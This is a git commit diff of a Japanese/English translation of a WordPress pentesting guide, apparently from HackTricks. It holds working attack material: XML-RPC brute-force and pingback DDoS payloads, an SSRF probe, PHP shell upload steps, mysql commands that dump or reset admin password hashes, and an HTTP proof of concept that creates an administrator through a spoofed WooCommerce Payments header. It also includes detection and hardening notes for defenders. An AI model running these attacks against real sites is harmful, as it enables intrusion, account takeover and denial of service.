Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:20:19 +00:00
parent 1d77e429d9
commit aecd6f3ad1

View File

@ -4,49 +4,49 @@
## 基本情報
- **アップロードされた**ファイルは次の場所にあります: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **テーマファイルは /wp-content/themes/ にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマ twentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** そのため theme の php を変更して RCE を得る場合はおそらくそのパスを利用します。例: **theme twentytwelve** を使用している場合、**404.php** ファイルに次の場所から **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php**にはデータベースのルートパスワードが含まれています。
- `wp-config.php` 内にはデータベースの root パスワードが見つかることがあります。
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **主なWordPressファイル**
### **Main WordPress Files**
- `index.php`
- `license.txt`にはインストールされているWordPressのバージョンなどの有用な情報が含まれています。
- `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。
- ログインフォルダ(隠すために名前が変更されることがあります):
- `license.txt` にはインストールされている WordPress のバージョンなどの有用な情報が含まれます。
- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメールアクティベーションプロセスに使用されます。
- Login フォルダ(隠すために名前が変更されている場合があります):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php`は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressの[REST API](https://developer.wordpress.org/rest-api/reference)に置き換えられました
- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。
- `wp-content/uploads/`プラットフォームにアップロードされたファイルが保存されるディレクトリです。
- `wp-includes/`証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。
- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。
- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種類の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています
- `wp-content` フォルダはプラグインやテーマが格納される主要なディレクトリです。
- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。
- `wp-sitemap.xml` WordPress バージョン 5.5 以降では、公開された投稿や公開可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。
**ポストエクスプロイト**
**Post exploitation**
- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。
- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名、パスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシューティングに役立つことがあります。
### ユーザー権限
- **管理者**
- **エディター**: 自分と他の投稿を公開および管理
- **著者**: 自分の投稿を公開および管理
- **寄稿者**: 自分の投稿を書くことができるが、公開できない
- **購読者**: 投稿をブラウズし、自分のプロフィールを編集
- **Administrator**
- **Editor**: 自分および他者の投稿を公開・管理できます
- **Author**: 自分の投稿を公開・管理できます
- **Contributor**: 自分の投稿を執筆・管理できますが公開はできません
- **Subscriber**: 投稿を閲覧し自身のプロフィールを編集できます
## **パッシブ列挙**
## **Passive Enumeration**
### **WordPressのバージョンを取得**
### **Get WordPress version**
`/license.txt`または`/readme.html`ファイルを見つけられるか確認します。
ファイル `/license.txt` または `/readme.html` が見つかるか確認してください
ページの**ソースコード**内([https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)からの例:
ページの **ソースコード** 内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
- grep
```bash
@ -56,60 +56,62 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSSリンクファイル
- CSS リンクファイル
![](<../../images/image (533).png>)
- JavaScriptファイル
- JavaScript ファイル
### プラグインを取得する
![](<../../images/image (524).png>)
### プラグインを取得
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### テーマを取得する
### テーマを取得
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 一般的なバージョン抽出
### 一般的なバージョン抽出
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## アクティブ列挙
## アクティブ列挙
### プラグインとテーマ
### Plugins and Themes
すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
おそらくすべてのPlugins and Themesを見つけることはできません。全てを発見するには、Plugins and Themesのリストを**積極的にBrute Forceする**必要があります(幸い、自動化ツールがこれらのリストを含んでいることがあります)。
### ユーザー
- **IDブルート:** ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します:
- **ID Brute:** WordPressサイトの有効なユーザーは、ユーザーIDをBrute Forcingすることで取得できます
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
レスポンスが **200** または **30X** の場合、id は **有効** です。レスポンスが **400** の場合、id は **無効** です。
レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。
- **wp-json:** ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます:
- **wp-json:** ユーザーの情報をクエリして取得することもできます:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです:
ユーザーに関するいくつかの情報を公開する別の `/wp-json/` エンドポイントは次のとおりです:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
このエンドポイントは、投稿を行ったユーザーのみを公開します。**この機能が有効なユーザーに関する情報のみが提供されます**
Note that this endpoint only exposes users that have made a post. **この機能を有効にしているユーザーの情報のみが提供されます**
また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**で**異なります**
- **Login username enumeration**: ログイン時に **`/wp-login.php`** の表示メッセージがユーザー名の存在によって異なるため、ユーザー名の列挙が可能です
### XML-RPC
`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。このプロセスを自動化することができます[ using this](https://github.com/relarizky/wpxploit) など)。
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**チェック**
**確認**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -118,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**クレデンシャルブルートフォース**
**Credentials Bruteforce**
**`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかれば、次のようなものを送信できます:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -130,13 +132,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
200 コードのレスポンス内のメッセージ _"Incorrect username or password"_ は、認証情報が無効な場合に表示されます。
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))。
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -166,18 +170,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります:
また、**より高速な方法**で資格情報をブルートフォースできます。**`system.multicall`**を使えば、同じリクエストで複数の資格情報を試すことができます:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FAのバイパス**
**Bypass 2FA**
この方法はプログラム向けであり、人間向けではなく古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできるかもしれません**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
この方法はプログラム向けで人間向けではなく古いため、2FAをサポートしていません。したがって、有効なcredsを持っているがメインの入口が2FAで保護されている場合、**xmlrpc.phpを悪用してそれらのcredsで2FAを回避してloginできるかもしれません**。ただし、コンソールから行えるすべての操作が可能になるわけではありませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているようにRCEに至る可能性は残ります。
**DDoSまたはポートスキャン**
**DDoS または port scanning**
リスト内にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。\
これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることもできます(任意のポートを指定できます)。
リストの中にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートへリクエストを送らせることができます。\
これを利用して、**何千**のWordpressの**サイト**に一つの**場所**へ**アクセス**させ(その結果その場所で**DDoS**が発生します)、あるいは**Wordpress**を使って内部**ネットワーク**を**スキャン**させることも可能です(任意のポートを指定できます)。
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -189,9 +193,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
**faultCode**の値が**0**17より**大きい**場合、ポートが開いていることを意味します。
もし **faultCode** が値 **0**17より **大きい** 場合、そのポートは開いています。
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。
前のセクションでの **`system.multicall`** の使用方法を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
**DDoS**
```html
@ -207,17 +211,17 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
このファイルは通常、Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
このファイルが**アクセス**されると、**"重い"** MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\
また、デフォルトでは`wp-cron.php`はすべてのページロード時に呼び出されますクライアントが任意のWordpressページをリクエストするたびに、高トラフィックのサイトでは問題を引き起こす可能性がありますDoS
このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\
このファイルに**アクセス**されると、負荷の高い MySQL **query** が実行されるため、**attackers** が **DoS** を **引き起こす**ために利用することができます。\
また、デフォルトでは `wp-cron.php` は各ページロードclientが Wordpress のページをリクエストするたびで呼び出されるため、高トラフィックサイトでは問題DoSを引き起こすことがあります
Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします問題を引き起こさないように)。
Wp-Cron を無効化し、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します(問題を起こさないように)。
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送るかもしれません
_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります
動作しないときのレスポンスは次のとおりです:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -228,100 +232,100 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
このツールは、**methodName: pingback.ping**と**/wp-json/oembed/1.0/proxy**のパスが存在するかどうかをチェックし、存在する場合はそれを悪用しようとします。
このツールは **methodName: pingback.ping** と パス **/wp-json/oembed/1.0/proxy** の存在を確認し、存在する場合はそれらを悪用しようとします。
## Automatic Tools
## 自動ツール
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## ビットを上書きしてアクセスを得る
## ビットを上書きしてアクセスを
実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができます。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT`!`操作をNOPにすることができます。
実際の攻撃というより興味本位のネタです。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転して NOT (`!`) 演算を NOP にできます。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **パネル RCE**
## **Panel RCE**
**使用しているテーマの php を変更する(管理者の資格情報が必要)**
**テーマで使用されている php を修正するadmin credentials が必要)**
外観 → テーマエディタ → 404 テンプレート(右側)
Appearance → Theme Editor → 404 Template (右側)
php シェルの内容に変更します:
php shell 用のコンテンツに変更する:
![](<../../images/image (384).png>)
インターネットでその更新されたページにアクセスする方法を検索します。この場合、ここにアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
更新したページへどうアクセスするかをインターネットで調べる。今回の場合、次の場所にアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
使用できます:
使用:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
セッションを取得するために。
## プラグイン RCE
## Plugin RCE
### PHP プラグイン
### PHP plugin
プラグインとして .php ファイルをアップロードすることが可能かもしれません。\
例えば、次のように PHP バックドアを作成します:
.php ファイルを plugin としてアップロードできる可能性があります。\
例えば次のように php backdoor を作成します:
![](<../../images/image (183).png>)
次に、新しいプラグインを追加します:
次に新しい plugin を追加します:
![](<../../images/image (722).png>)
プラグインをアップロードし、今すぐインストールを押します:
plugin をアップロードして "Install Now" を押します:
![](<../../images/image (249).png>)
続行をクリックします:
「Procced」をクリック:
![](<../../images/image (70).png>)
おそらく、これでは何も起こらないように見えますが、メディアに移動すると、アップロードしたシェルが見えます:
おそらく一見何も起きないように見えますが、Media に移動すると shell がアップロードされているのが確認できます:
![](<../../images/image (462).png>)
アクセスすると、リバースシェルを実行するための URL が表示されます:
それにアクセスすると、reverse shell を実行するための URL が表示されます:
![](<../../images/image (1006).png>)
### 悪意のあるプラグインのアップロードと有効化
### Uploading and activating malicious plugin
この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用できます。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます:
この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard を通じて以下のように実行されます:
1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。
2. **プラグインのインストール**:
- WordPress ダッシュボードに移動し、`ダッシュボード > プラグイン > プラグインのアップロード`に進みます。
- ダウンロードしたプラグインの zip ファイルをアップロードします。
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
4. **悪用**:
- "reflex-gallery" プラグインがインストールされ、有効化されると、脆弱性が知られているため悪用できます。
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
- これは WordPress サイトを悪用する多くの方法の一つに過ぎないことが記載されています
1. **Plugin Acquisition**: この plugin は Exploit DB のようなソース(例: [**here**](https://www.exploit-db.com/exploits/36374))から入手します。
2. **Plugin Installation**:
- WordPress dashboard に移動し、`Dashboard > Plugins > Upload Plugin` に進みます。
- ダウンロードした plugin の zip ファイルをアップロードします。
3. **Plugin Activation**: plugin が正常にインストールされたら、dashboard から有効化する必要があります。
4. **Exploitation**:
- plugin "reflex-gallery" をインストールして有効化すると、脆弱であるため悪用可能です。
- Metasploit framework はこの脆弱性に対する exploit を提供します。適切なモジュールをロードし特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎないことに注意してください
コンテンツには、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです
このコンテンツには、plugin をインストールおよび有効化する手順を示す WordPress dashboard の図が含まれています。ただし、正当な許可なしにこのように脆弱性を悪用することは違法であり非倫理的です。この情報は責任を持って、明確な許可のあるコンテキスト、例えば penetration testing のような合法的な場面でのみ使用してください
**詳細な手順については、次を確認してください:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## XSS から RCE へ
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
- _**権限昇格:**_ WordPress にユーザーを作成します。
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。
- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。
- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ **Cross-Site Scripting (XSS)** の脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートさせるために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X.** をサポートしており、以下を可能にします:
- _**Privilege Escalation:**_ WordPress にユーザを作成します。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタム plugin (backdoor) を WordPress にアップロードします。
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込み plugin を編集します。
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込み theme を編集します。
- _**(Custom) Custom Exploits:**_ サードパーティの WordPress Plugins/Themes に対するカスタム exploit を実行します
## ポストエクスプロイト
## Post Exploitation
ユーザ名とパスワードを抽出します:
ユーザ名とパスワードを抽出す:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -329,29 +333,29 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Wordpress プラグイン Pentest
### Attack Surface
### 攻撃対象
Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインが機能をどのように公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます
Wordpress プラグインがどのように機能を公開するかを理解することは、その機能における脆弱性を発見するために重要です。プラグインがどのように機能を公開するかは以下の箇条書きで確認でき、脆弱なプラグインの例については [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください
- **`wp_ajax`**
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります役割に関係なく
プラグインが関数を公開する方法の1つは、AJAXハンドラを介することです。これらはロジック、認可、あるいは認証のバグを含んでいる可能性があります。さらに、これらの関数は認証と認可の両方を Wordpress の nonce の存在に基づかせることがしばしばあり、nonce は **Wordpress インスタンスで認証された任意のユーザーが持ち得る**(役割に関係なく)ものです
これらは、プラグイン内で関数を公開するために使用できる関数です:
These are the functions that can be used to expose a function in a plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。**
**The use of `nopriv` makes the endpoint accessible by any users (even unathenticated ones).**
> [!CAUTION]
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
> さらに、もし関数が `wp_verify_nonce` でユーザーの認可だけを確認しているだけなら、この関数は単にユーザーがログインしているかどうかを確認するだけで、通常ユーザーの役割を確認するものではありません。したがって、低権限ユーザーが高権限の操作にアクセスできる可能性があります。
- **REST API**
`register_rest_route`関数を使用して、WordPressから関数を公開することも可能です。
また、`register_rest_route` 関数を使って wordpress に REST API を登録することで、関数を公開することも可能です:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -361,23 +365,68 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
**組み込みの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。**
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
- **PHPファイルへの直接アクセス**
- **php ファイルへの直接アクセス**
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、任意のユーザーによって悪用される可能性があります。
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、それは任意のユーザーによって悪用可能です。
### wp_ajax_noprivを介した認証されていない任意のファイル削除 (Lithoテーマ <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
WordPressのテーマやプラグインは、頻繁に `wp_ajax_` および `wp_ajax_nopriv_` フックを介してAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションは追加で以下を実装する必要があります:
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
1. **権限チェック**(例:`current_user_can()` または少なくとも `is_user_logged_in()`)、および
2. **CSRFンス**を `check_ajax_referer()` / `wp_verify_nonce()` で検証し、そして
3. **厳格な入力のサニタイズ / 検証**
- Impact: 認証なしでコアの users REST ルートを介して新しい管理者を作成することで管理者権限に昇格される可能性があります。
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (ユーザーID 1 を強制指定し、通常は最初の管理者アカウントになります。)
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
Lithoマルチパーパステーマ< 3.1*フォントファミリーの削除*機能においてこれらの3つの制御を忘れ以下のコードを出荷してしまいました簡略化
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップしている。
- WordPress core はこのルートに `create_users` capability を期待するが、プラグインのハックはヘッダから直接 current user コンテキストを設定することでこれを回避している。
Expected success indicators
- 作成したユーザを記述する JSON ボディを含む HTTP 201。
- `wp-admin/users.php` に新しい管理者ユーザが表示される。
Detection checklist
- ユーザコンテキストを設定するためにカスタムヘッダを読み取る `getallheaders()``$_SERVER['HTTP_...']`、またはベンダー SDK例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を grep する。
- 堅牢な `permission_callback` チェックが欠如しており、代わりにリクエストヘッダに依存している特権付きコールバックについて REST 登録を確認する。
- REST ハンドラ内でヘッダ値だけでゲートされている core user-management 関数(`wp_insert_user`, `wp_create_user`)の利用を探す。
Hardening
- クライアント制御のヘッダから認証や認可を派生させてはならない。
- reverse proxy が identity を注入する必要がある場合は、プロキシで信頼を終端しインバウンドのコピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その後署名付きトークンを渡してサーバー側で検証する。
- 特権的操作を行う REST ルートでは `current_user_can()` チェックと厳格な `permission_callback` を要求する(`__return_true` を使用してはならない)。
- ヘッダによる “impersonation” よりも、ファーストパーティ認証cookies、application passwords、OAuthを優先する。
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress のテーマやプラグインはしばしば `wp_ajax_``wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開する。**_nopriv_** バリアントが使われると **コールバックは未認証の訪問者から到達可能になる**ため、敏感な処理は追加で次を実装しなければならない:
